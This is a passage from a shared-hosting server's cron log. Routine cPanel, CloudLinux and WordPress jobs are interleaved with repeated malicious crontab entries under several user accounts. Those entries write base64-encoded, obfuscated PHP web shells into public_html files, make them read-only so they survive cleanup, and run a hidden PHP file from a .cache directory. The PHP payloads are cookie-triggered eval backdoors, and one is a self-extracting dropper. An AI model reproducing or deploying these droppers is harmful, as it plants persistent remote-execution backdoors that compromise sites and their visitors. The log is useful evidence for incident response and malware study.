JUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:13:02 medusa CROND[8993]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:13:02 medusa CROND[8998]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:13:02 medusa CROND[8999]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:13:02 medusa CROND[9005]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:13:02 medusa CROND[9012]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:13:02 medusa CROND[9006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:14:01 medusa CROND[13632]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:14:01 medusa CROND[13633]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:14:01 medusa CROND[13634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:14:01 medusa CROND[13635]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:14:01 medusa CROND[13636]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:14:01 medusa CROND[13639]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:14:01 medusa CROND[13647]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:14:01 medusa CROND[13648]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:14:01 medusa CROND[13649]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:14:01 medusa CROND[13640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:14:01 medusa CROND[13654]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:14:01 medusa CROND[13656]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:14:01 medusa CROND[13657]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:15:01 medusa CROND[20033]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:15:01 medusa CROND[20038]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:15:01 medusa CROND[20277]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:15:01 medusa CROND[20279]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:15:01 medusa CROND[20281]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:15:01 medusa CROND[20282]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 23:15:01 medusa CROND[20283]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:15:01 medusa CROND[20284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:15:01 medusa CROND[20285]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:15:01 medusa CROND[20286]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:15:01 medusa CROND[20295]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:15:01 medusa CROND[20296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:15:01 medusa CROND[20291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:15:01 medusa CROND[20292]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:15:01 medusa CROND[20300]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:15:01 medusa CROND[20301]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:15:01 medusa CROND[20303]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:15:01 medusa CROND[20302]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:15:01 medusa CROND[20321]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:15:01 medusa CROND[20327]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:15:01 medusa CROND[20329]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:15:01 medusa CROND[20337]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0X